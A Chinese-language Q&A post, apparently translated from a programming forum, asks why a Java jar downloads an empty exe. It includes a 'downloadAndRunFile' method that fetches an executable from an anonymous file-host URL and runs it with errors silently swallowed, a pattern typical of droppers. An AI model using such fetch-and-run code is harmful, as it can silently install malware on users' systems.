导出jar时,Files.copy返回空文件

时间:2018-06-24 01:34:32

标签: java file url download

该文件在Eclipse中可以正确下载,但是当我导出jar时,它总是下载一个空白exe。有人可以帮忙吗?

public static void downloadAndRunFile(final URL from, final File to) throws Exception {
    try (final InputStream in = from.openStream()) {
        Files.copy(in, to.toPath(), StandardCopyOption.REPLACE_EXISTING);
    }
    Desktop.getDesktop().open(to);
}

实际代码正在运行

String bub = "https://a.coka.la/bnH6Vg.exe";
    try {
        Pandora.downloadAndRunFile(
                new URL(bub),
                File.createTempFile("feelthevluci", ".exe"));
        } catch (Exception e) {
        // TODO Auto-generated catch block
    }            
}

1 个答案:

答案 0 :(得分:0)

代码中的URL似乎返回404。

我将其更改为我知道可以安全使用的东西,并且可以在IDE和jar文件中使用。

通过curl,浏览器或其他工具检查URL,以确保其正常工作。